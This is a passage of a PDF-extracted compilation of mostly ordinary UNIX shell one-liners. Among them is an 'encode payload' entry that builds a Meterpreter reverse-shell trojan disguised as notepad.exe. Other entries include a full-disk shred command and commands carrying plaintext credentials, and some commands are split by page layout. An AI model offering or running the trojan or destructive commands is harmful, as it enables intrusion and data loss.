netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u
# Sum up total size and count of all certain filename pattern/regex

562 / 658

All UNIX COMMANDS


find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{
SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }'
# Run a second copy of Firefox using the same profile on Mac OS X
(cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)
# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
killall -s 9 krunner_lock
# x bottles of beer on the wall graph
(echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s
"http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on
the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":"\([^"]*\)".*/\1\n/';done)|
gnuplot -persist
# Remove executable bit from all files in the current directory recursively, excluding other
directories, firm permissions
chmod -R u=rw-x+X,g=r-x+X,o= .
# view someone's twitter stream from terminal
grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e
:loop -e 's/<[^>]*>//g;/</N;//bloop' | sed 's/^[ \t]*//'; }
# addprinc
kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"
# Find all symlinks that link to directories
ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }')
# List the size (in human readable form) of all sub folders from the current location
du -hs *
# ktadd
kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"
# prints line numbers
sed '/./=' infile | sed '/^/N; s/\n/ /'
# Get Google Reader unread count
curl -s -H "Authorization: GoogleLogin auth=$auth"
"http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed
's/.*"count":\([0-9]*\),".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\(.*\)+/\1\n/' |
bc
# 20char long alpahnumeric "password"
head -c20 /dev/urandom | xxd -ps
# Login via SSH
ssh -l <username> <server>
# Netcat ftp honeypot centos linux (use port 22 for SSH)
while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT
21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done
# Check out hijacked files in clearcase
cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`
# kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR
curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l
2

563 / 658

All UNIX COMMANDS

# Echo exit status (a.k.a. return code)


echo $?
# sets desktop background using zenity
zenity --list --width 500 --height 500 --column 'Wallpapers'
-smooth -fullscreen

$(ls) | xargs xsetbg

-center

# free some harddrive space by garbage collecting in all your git repos
find . -maxdepth 2 -type d -name '.git' -print0 | while read -d ''; do (cd "$REPLY"; git
gc); done
# Import an entire directory into clearcase
ct mkelem -nc `find ./ -name "*" | xargs`
# Windows person acting like an idiot in Linux?
export PS1="C:\\>"; clear
# bash function to "highlight" tabs and linebreaks
hl-nonprinting () { local C=$(printf '\033[0;36m') R=$(printf '\033[0m'); sed -e "s/\t/$
{C}&#9657;&$R/g" -e "s/$/${C}&#8267;$R/";}
# Btrfs: Find file names with checksum errors
dmesg | grep -Po 'csum failed ino\S* \d+' | sort | uniq | xargs -n 3 find / -inum 2>
/dev/null
# webcam player in ascii art
gst-launch v4l2src ! aasink
# gmail safe folder
find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc|msp|mst|
pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$"
# Get the rough (german) time from Twitter
echo -e "Berlin Date/Time is" `TZ=GMT-2 /bin/date \+%c`
# bash function to highlight non-printing characters: tab, newline, BOM, nbsp
hl-nonprinting () { local C=$(printf '\033[0;36m') B=$(printf '\033[0;46m') R=$(printf
'\033[0m') np=$(env printf "\u00A0\uFEFF"); sed -e "s/\t/${C}&#9657;&$R/g" -e "s/$/$
{C}&#8267;$R/" -e "s/[$np]/${B}& $R/g";}
# Transforms a file to all uppercase.
perl -i -ne 'print uc $_' $1
# Remove all the files except abc in the directory
find * ! -name abc | xargs rm
# Easily find an old command you run
cat $HISTFILE | grep command
# Disable graphical login on Solaris
svcadm disable cde-login
# Prints files
lpr file
# revert one or more changesets in svn
svn merge -r 1337:1336 PATH PATH

564 / 658

All UNIX COMMANDS


# Remove string with several escaped characters from all files under given path
S='<iframe src=\"http:\/\/254.254.254.254\/bad\/index.php\" width=\"1\" height=\"1\"
frameborder=\"0\"><\/iframe>' && R=''; find . -name "*.html" -exec grep -l "$S" {} \; |
xargs sed -i -e "s/$S/$R/g"
# recursivly open all recently crashed vim buffers in restore mode
find ./ -type f -mtime -1 -name .*.sw[po] -print | sed -r 's/^(.+)\/\.(\S+)\.sw[op]
$/\1\/\2/' | xargs vim -r
# Remove all the files except abc in the directory
rm $( ls | egrep -v 'abc|\s' )
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar filename
# Get Top Trending Topic on Twiter by location
lynx --dump http://en.trending-topic.com/countries/Mexico/ | grep "62]#" | sed 's/\[62\]//g'
# Sort a character string
echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print
"";}'
# Multiple open files and go directly to the line where some string is
grep -rl string_to_find public_html/css/ | xargs -I '{}' vim +/string_to_find
":s/string_to_find/string_replaced"

{} -c

# arp-scan -l without duplicates


arp-scan -l -g -interface (nic)

# Parse logs for IP addresses and how many hits from each IP
cat "log" | grep "text to grep" | awk '{print $1}' | sort -n | uniq -c | sort -rn | head -n
100
# Bold matching string without skipping others
sed 's/pattern/^[[1m&^[[0m/g'
# Length of longest line of code
perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp
# View external IP
wget -q ip.nu && cat index.html
# Rip audio tracks from CD to wav files in current dir
cdparanoia -B
# Continue a current job in the background
<ctrl+z> %1 &
# Give information about your graphic chipset
lshw -C display
# Email if you disk is over 90%
HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" }
') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f
FROM@EMAIL.com >/dev/null
# Print line numbers

565 / 658

All UNIX COMMANDS


sed = <file> | sed 'N;s/\n/\t/'
# Update twitter with curl
curl -u username:password -d status="blah blah blah" https://twitter.com/statuses/update.xml
# running command directly, skip alias or function which has the same name
\<command>
# Print just line 4 from a textfile
sed '4!d'
# Batch Convert SVG to PNG
for i in *; do inkscape $i --export-png=`echo $i | sed -e 's/svg$/png/'`; done
# create an mp3 with variable bitrate
lame -h -V 6 track9.wav track9.mp3
# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut
-f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail
-1 |cut -f1 -f3
# kill a windows process
wmic process where (caption="notepad.exe") call terminate
# Delete Mailer-Daemon messages
mailq |awk '/MAILER-DAEMON/{gsub("*","");printf("postsuper -d %s\n",$1)}'|bash
# Print just line 4 from a textfile
perl -ne '$. == 4 && print && exit'
# Add strikethrough to text
echo text | sed "s/\(.\)/\1-/g"
# rsync from one remote to another remote, only local computer has an open ssh key
mkdir r1 && sshfs remote1:/home/user r1 && rsync r1/stuff remote2:~/backups/
# Sequential revision numbers in Git
git rev-list --reverse HEAD | awk "/$(git log -n 1 --pretty="format:%h")/ {print NR}"
# Per country GET report, based on access log. Easy to transform to unique IP
cat /var/log/nginx/access.log | grep -oe '^[0-9.]\+' | perl -ne 'system("geoiplookup $_")' |
grep -v found | grep -oe ', [A-Za-z ]\+$' | sort | uniq -c | sort -n
# find and kill a zombie process
kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`
# List of commands you use most often
HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn |
head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xticlabels(2) with boxes'
# validate xml in a shell script.
xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1

# a tail function for automatic smart output


tail() { thbin="/usr/bin/tail"; if [ "${1:0:1}" != "-" ]; then fc=$(($#==0?1:$#)); lpf="$
((($LINES - 3 - 2 * $fc) / $fc))"; lpf="$(($lpf<1?2:$lpf))"; [ $fc -eq 1 ] && $thbin -n $lpf
"$@" | /usr/bin/fold -w $COLUMNS | $thbin -n $lpf || $thbin -n $lpf...

566 / 658

All UNIX COMMANDS


# OS-X... create a quick look from the command line
qlmanage -p "yourfilename"
# Playback music in VLC without the GUI interface
cvlc <somemusic.mp3>
# CPU sucker
while :; do :; done
# Get the IP address
ifconfig | awk -F"[: ]+" '/inet addr/ {print $4}'
# Edit all files found having a specific string found by grep
find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi
# convert mp3 to ogg
mp32ogg file.mp3
# Print a row of characters across the terminal
jot -b '#' -s '' $COLUMNS
# Find all files over a set size and displays accordingly
find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }'
# Show all groups user is a member of and other useful info
net user USERNAME /domain
# my command for downloading delicious web links,
wget -r --wait=5 --quota=5000m --tries=3 --directoryprefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off
-np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm
# CPU architecture details
cat /proc/cpuinfo
# OSX Terminal helper with tab completion, ssh tunneling, and now screen re-attach
ash prod<tab>
# ls
ls
# check your up to date delicious links.
curl -k https://Username:Password@api.del.icio.us/v1/posts/all?red=api | xml2| \grep '@href'
| cut -d\= -f 2- | sort | uniq | linkchecker -r0 --stdin --complete -v -t 50 -F blacklist
# Find all files containing a word
find . -name "*.php" -exec grep -il searchphrase {} \;
# identify big file
du -s * | sort -nr | head
# Timelapse with ffmpeg (after symlinking pictures as per ffmpeg FAQ)
ffmpeg -r 12 -i img%03d.jpg -sameq -s hd720 -vcodec libx264 -crf 25 OUTPUT.MP4
# Edit all files found having a specific string found by grep
find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim
# Pear install behind proxy
pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080

567 / 658

All UNIX COMMANDS


# know which version of the program is installed on your Debian and derivatives
aptitude show $PROGRAM | grep Vers
# Get minimum, current, maximum possible resolution of Xorg
xrandr -q | grep -w Screen
# split a postscript file
file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do psselect $i
$file $i\_$file; done
# A simple overview of memory usage refreshed at user designated intervals.
watch -n 10 free -m
# Find the full path of an already running process
readlink -f /proc/<pid>/cmdline

# Filenames ROT13
for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo
$name | rot13)${suffix:+.}${suffix%.}"; done
# Sort files in $PWD by year in filename
ls --color=never -1| grep -E "[0-9]{4}"|sed -re "s/^(.*)([0-9]{4})(.*)$/\2 \1\2\3/" | sort
-r
# display only tcp
netstat -4tnape
# wget, tar xzvf, cd, ls
wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo $foo | sed
's:,*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\..*/\1/' -e 's/\(.*\)\..*/\1/'`; cd $bar; ls;
}
# Split a file into equal size chunks and archive to (e)mail account.
split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive
File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com
# Find Out My Linux Distribution Name and Version
if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi
# Transfer files with rsync over ssh on a non-standard port.
rsync -P -e 'ssh -p PORT' SRC DEST
# Print environment information.
perl -e 'print "$_=$ENV{$_}\n" for keys %ENV'
# Delete Text Editor's Backup
find . -name "*~" -exec rm {} \;
# Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if ('`date +%H`' < $1) print "Good "
$2}'
# convert uppercase to lowercase
tr '[:upper:]' '[:lower:]' < input.txt > output.txt
# ...if you have sudo access, you could just install ssh-copy-id (Mac users: take note.
this is how you install ssh-copy-id )

568 / 658

All UNIX COMMANDS


sudo curl "http://hg.mindrot.org/openssh/raw-file/c746d1a70cfa/contrib/ssh-copy-id" -o
/usr/bin/ssh-copy-id && sudo chmod 755 /usr/bin/ssh-copy-id
# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users?, //'
# Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for virtual disks.
odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*\)"/\1/p;s/.*value =
"..........\(....\)..SYMMETRIX..EMCfcp.*"/0x\1/p;s/.*value =//p'
# [zsh]: what does 'nyae' mean?
setopt correct
# while true ; do cpulimit -z -p $( pidof cc1 )
Limit kernel compilation load

-l 5; sleep 1; done

# find all files of a type which don't match a specific name


for output in $(find . ! -name movie.nfo -name "*.nfo") ; do rm $output ; done
# change the all files which contains xxxxx to yyyyyy
grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g"
# Loopback mount .iso on FreeBSD
mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom
# whereami() { namei "$PWD" -x -m | sed -r 's@f\:\s(.*)@'$bold$red'\1'$reset'@' | sed -r
's@^\s(\s*)D@'$bold$yellow'\1Mn'$reset'@' | sed -r 's@^\s(\s*)l@'$bold$cyan'\1Ln'$reset'@' ;
}
Print to screen all the directories above the pwd, showing: mountpoints, symbolic links, and
permissions (with colors)
# Add another column printing cumulative sum of entries in first column, sum being less than
or equal to 100
for f in .; do awk 'BEGIN {sum=0;flag=0} {sum=sum+$1; if (flag == 0) { print $1"\t"sum >
"cumulative.'$f'" } if (sum > 100) flag=1 }' $f; done
# Show best quote from reddit to your terminal
rsstail -o -n 1 --f 'RedditQuote: {title}' http://www.reddit.com/r/quotes/new/.rss
# shows which files differ in two direcories
rsync -avz --dry-run /somewhere/source_directory /somewhereelse/target_directory
# Search through files, ignoring .svn
find . | grep -v svn
# Kill an orphan console
skill -KILL -t ttyS0

# Connect to irssi over ssh


rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi
-name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi
# Find packages on Ubuntu/Debian based on their description
aptitude search ~d<string>
# checkout directory and the files it contains, without any further subdirectories
cvs checkout -l project/src/

569 / 658

All UNIX COMMANDS


# sort and show disk space (largest first) with human readable sizes
du -hs `du -sk * | sort -rn | cut -f2-`
# print nearest multiples of 100 in a file
awk 'BEGIN {count=0;prev=-1} {if(count>0) { if(int($1/100) > int(prev/100)) {print $1} } ;
prev=$1; count++}' inputFile > rounded
# Show total cumulative memory usage of a process that spawns multiple instances of itself
CMD=chrome ; ps h -o pmem -C $CMD | awk '{sum+=$1} END {print sum}'
# forking a process from gnome-terminal detached from the terminal.
nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null&
# Remove color codes (special characters) with sed
cat input.txt | sed 's/\\\033[^a-zA-Z]*.//g'
# Simply generate a password for userPassword in ldap
slpappasswd
# Remove color codes (special characters) with perl
perl -ne 's/\^.{1,7}?m//g;print'
# Print starting line numbers of group of lines in a file, which have the same first and
second column
awk '{pattern=$1$2; seen[pattern]++; if (seen[pattern] == 1) print NR}' inputFile
# Get to the user for using system.
ps awwux|awk '{print $1}'|sort|uniq
# Uninstall all gems
gem list | cut -d" " -f1 | grep --invert-match "test-unit\|psych\|io-console\|rdoc\|json\|
bigdecimal\|rake\|minitest" | xargs gem uninstall -aIx
# open new tab without in gnome-terminal
WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus
$WID xdotool key ctrl+shift+t wmctrl -i -a $WID
# transfer files locally to be sure that file permissions are kept correctly showing
progress
cp -av source dest
# Remove CR LF from a text file
sed -i 's/\r\n//' file.txt
# Find out if a module is installed in perl (and what version)
perl -MModule::Name\ 9999 -e 1
# top ten of biggest files/dirs in $PWD
du -sm *|sort -rn|head -10
# Organize a TV-Series season
season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\
{2\}\).*/\1/'); mkdir $dir ; mv $file $dir; done
# dolphins on the desktop (compiz)
xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20
-window-id WID &
# View the newest xkcd comic.

570 / 658

All UNIX COMMANDS


wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog xkcd_$(date
+%y-%m-%d).png
# Extract tags in a file
awk -vRS="</Tag2>" '/<Tag2>/{gsub(/.*<Tag2>/,"");print}' file
# Check a internet connetion is up. If it isn't write a log.
while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 ping failed at
$(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10; done &
# To know the IP address of the machine current running on the network
fping -g 192.168.1.1 192.168.1.10 -r 1 | grep -v unreachable | awk '{print $1}'
# find /var/chef/backup -name "*$(date +%Y%m%d)*"
Find files that have been changed by a Chef run today.

# 20char long alpahnumeric


$ apg -m 40 -a 1
# make GNU find follow symbolic links
find -L /home/sonic/archive -name '*gz' -type f
# Move all epub keyword containing files to Epub folder
IFS=$(echo -en "\n\b"); mkdir Epub; for i in `find . | grep epub`; do echo "epub: $i"; mv -v
"$i" Epub; done
# Shutdown and restart Windoze from the command line
C:\> shutdown /f /r /t 0
# Tricky implementation of two-dimensional array in Bash
getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b
c )";a[1]="( d e f )";getarray a 1 2
# shows the full path of shell commands
whereis command
# sed - match numbers between 1-100
cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p'
# Get weather
STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA}
D=($(curl -s $PAG | sed -n 's/.*<\(temp_f\|wind_dir\|wind_mph\)>\(.*\)<\/.*/\2/p')) echo $
{D[1]}@${D[2]}mph ${D[0]}F
# automate web search and open tabs in firefox
cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done
# Download latest Git setup executable for Windows
wget --no-check-certificate https://code.google.com/p/msysgit/downloads/list -O - 2>nul |
sed -n "0,/.*\(\/\/msysgit.googlecode.com\/files\/Git-.*\.exe\).*/s//http:\1/p" | wget -i -O Git-Latest.exe
# Go back to the previous directory.
cd # Perl One Liner to Generate a Random IP Address
perl -e 'printf "%vd\n",pack "N",rand 256**4'

571 / 658

All UNIX COMMANDS


# Remove two dashes ('--') before signature in Evolution Mail (>2.30.x)
gconf-editor /apps/evolution/mail/composer/no_signature_delim false
# Login To SSH Server / Provide SSH Password Using A Shell Script
sshpass -p 't@uyM59bQ' ssh username@server.example.com
# Move all epub keyword containing files to Epub folder
mkdir Epub ; mv -v --target-directory=Epub $(fgrep -lr epub *)
# Remove an unnecessary suffix from a file name for all files in a directory
for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done
# Exim version
exim -bV
# Cowsay Random Cow saying your fortune with colorized output
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` `fortune`
| toilet -F gay -f term
# Multiline read
VAR=$(head -5)
# before writing a new script
echo -n '#!'$(which awk)
# Print a quick summary of RAID array health.
awk '/^md/ {printf "%s: ", $1}; /blocks/ {print $NF}' </proc/mdstat
# transform relative URLs (shoddy hack but it works)
wget -k $URL
# search for the content in a directory
find . -exec grep "test" '{}' /dev/null \; -print
# Convert JSON to YAML
cp -p data.json data.yml
# Write a shell script that removes files that contain a string
find . | xargs grep -l "FOOBAR" | awk '{print "rm -f "$1}' > doit.sh

# bash function to check for something every 5 seconds


watch -n <seconds> <command>
# Bulk install
apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y
# remove files and directories with acces time older than a given date
find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' |
xargs rm --verbose -fr ;
# transfer files locally to be sure that file permissions are kept correctly showing
progress
dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf -C /other/path
# Remove dashes in UUID
python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"

572 / 658

All UNIX COMMANDS


# finds all files that contain "some string"
find . -type f -exec grep -l "some string" {} \;
# remove files and directories with acces time older than a given time
find -amin +[n] -delete
# Find errors in your php website
find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
# Show last argument
echo !$
# encode payload
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5
-t exe -x ~/notepad.exe -k -o notepod.exe
# Find all files with setuid bit
find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
# Print the current battery status
acpi | cut -d '%' -f1 | cut -d ',' -f2
# Save VM running as headless
VBoxManage controlvm ServidorProducao savestate
# make multiple directories
mkdir {1..100}
# Determine MythTV Version on a Debian System
apt-cache policy mythtv
# Open a RemoteDesktop from terminal
rdesktop -a 16 luigi:3052
# Deleting / Ignoring tailer record from the file
cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
# GUID generator
guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr
-d ' '; }
# Shred an complete disk, by overwritting its content 10 times
sudo shred -zn10 /dev/sda
# make ping run a little faster
alias ping='ping -n'
# see who is on this machine
who;ps aux|grep ssh
# Create ubuntu.qcow image, limit size 10G
qemu-img create ubuntu.qcow 10G
# Compress all .txt files to .txt.ta.gz and remove the original .txt
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
# Open virtual machine in ubuntu.qcow image
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
# Improvement of curl + Twitter

573 / 658

All UNIX COMMANDS


echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS"
http://twitter.com/statuses/update.xml

# Outputs current folder svn revision


LC_ALL=C svn info | grep Revision | awk '{print $2}'
# kills rapidly spawning processes that spawn faster than you can repeat the killall command
killall rapidly_spawning_process ; killall rapidly_spawning_process ; killall
rapidly_spawning_process
# Analyse a PHP file for instantations and static calls
grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort
# Find dead symbolic links
find -type l -xtype l
# find the device when you only know the mount point
df | grep -w '/media/mountpoint' | cut -d " " -f 1
# Take own (chown) Administrators group
takeown.exe /F "FILE_or_DIR" /A /R /D O
# Find errors in your php website
egrep '(\[error\])+.*(PHP)+' /var/log/apache2/error.log
# Generate a random password 30 characters long
pwgen 30
# find the device when you only know the mount point
df | grep -w '/media/armadillo' | cut -d " " -f 1
# Multiple Timed Execution of subshells sleeping in the background using job control and
sleep.
S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S
& ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & )
# Checks apache's access_log file, strips the search queries and shoves them up your e-mail
cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed
's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail youremail@isp.com -s "[your-site] search
strings for `date`"
# Sum file sizes
find . -type f -printf %s\\n | numsum
# Display all installed ISO/IEC 8859 manpages
for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done
# Get a list of commands for which there are no manpages
for file in $(ls /usr/bin ) ; do man -w $file 2>> nomanlist.txt >/dev/null ; done
# turn url and link text into a hyperlink
sed "s/\([a-zA-Z]*\:\/\/[^,]*\),\(.*\)/\<a href=\"\1\"\>\2\<\/a\>/"
# psgrepp
pgrep -lf
# Find PHP files
find . -name "*.php" -print0 | xargs -0 grep -i "search phrase"

574 / 658

All UNIX COMMANDS


# Get pid of running Apache Tomcat process
ps -eo pid,args | grep -v grep | grep catalina | awk '{print $1}'
# Convert all tabs in a file to spaces, assuming the tab width is 2
sed -i 's/\t/ /g' yourfile
# Import a virtual machine with XenServer
xe vm-import -h <host ip> -pw <yourpass> filename=./Ubuntu-9.1032bitPV.xva sr-uuid=<your SR
UUID>
# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sdX
# Mount a CD-ROM on Solaris (SPARC)
mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/"
$11}'` /cdrom/unnamed_cdrom
# Mount a Windows share on the local network (Ubuntu)
sudo mount -t cifs //$ip_or_host/$sharename /mnt
# Get IPv6 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet6 addr:' | awk {'print $3'}
# Show the single most recently modified item in a directory
ls -ltp | sed '1 d' | head -n1

# Upload - rsync using key pair


rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress
/root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root
# Alias cd to record your directory travelling
alias cd='pushd'; alias cd-='popd'
# add title and alt-text to your collection of xkcd comics
for fn in xkcd*.png xkcd*.jpg; do echo $fn; read xw xh <<<$(identify -format '%w %h' $fn);
nn="$(echo $fn | sed 's/xkcd-\([^-]\+\)-.*/\1/')"; wget -q -O xkcd-${nn}.json
http://xkcd.com/$nn/info.0.json; tt="$(sed 's/.*"title": "\([^"]\+\)",.*/\1/' ...
# mac address for eth0
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}'
# show ip address
ip -f inet addr show eth0
# show open ports on computer
netstat -an | grep -i listen
# Upload - rsync using key pair
rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress
/root/.ec2/id_rsa-gsg-keypair root@ec2-75-101-212-113.compute-1.amazonaws.com:/root
# command line fu roulette, without all the excessive parsing
function fur () { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep
-v "^# commandlinefu" }
# Removing accents in name files

575 / 658

All UNIX COMMANDS


IFS=?" ; for i in * ; do mv -v $i `echo $i|tr ???????????????????\ aaaeeiooAAAEEIOOOcC_` ;
done
# Show the single most recently modified file in a directory
ls -lFart |tail -n1
# put nothing nowhere
cat /dev/zero > /dev/null &
# Rank top 10 most frequently used commands
history | sed -e 's/^sudo //' | awk '{print $2}' | sort | uniq -c | sort -rn | head
# print random commandlinefu.com submission
lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' |
| tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2
# big countdown clock with hours, minutes and seconds
watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date
bigmono12'

head -1037

+%s)) | toilet -f

# Recursively remove all '.java.orig' directories (scalable)


find . -depth \( -path '*/*.java.orig' -o -path '*/*.java.orig/*' \) -delete
# Clean all .pyc files from current project. It cleans all the files recursively.
find . -name "*.pyc" -exec rm {} \;
# find a word in multiple files avoiding svn
grep -r 'keyword keyword2' your/path/ | grep -v svn
# umount all nfs mounts on machine
mount | grep : | tr -s ' ' -d 3 | xargs umount -v
# List all symbolic links in current directory
ls -F | sed -n 's/@$//p'
# Emulate sleep in DOS/BAT
echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1
127.0.0.1>NUL) && echo sleep() end: %TIME%
# Count total number of subdirectories in current directory starting with specific name.
find . -type d -name "*TestDir*" | wc -l
# Add a list of numbers
echo "1 2 3+p" | dc
# find the biggest files recursively, no matter how many
find . -type f|perl -lne '@x=sort {$b->[0]<=>$a->[0]}[(stat($_))[7],
$_],@x;splice(@x,11);print "@{$x[0]}";END{for(@x){print "@$_"}'
# Display a File with Line Number
nl filename | more
# Restore the keyboard for qwerty users.
setxkbmap us

# Print a row of 50 hyphens


printf "%.50d" 0 | tr 0 -

576 / 658

All UNIX COMMANDS


# ls output - octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e
's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'
# UNIX one-liner to kill a hanging Firefox process
kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' `
# Update iptables firewall with a temp ruleset
sudo iptables-restore < /etc/iptables.test.rules
# Lowercase to Uppercase
echo "test" | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'
# Cat files in a directory; for loop command
for f in *; do clear; cat $f; sleep .3; done
# Mount a Windows share on the local network (Ubuntu) with user rights and use a specific
samba user
sudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point
# Unpack .tgz File On Linux
tar zxvf fileNameHere.tgz
# Bash Alias That Plays Music from SomaFM
alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl
http://somafm.com/startstream=${REPLY}.pls'
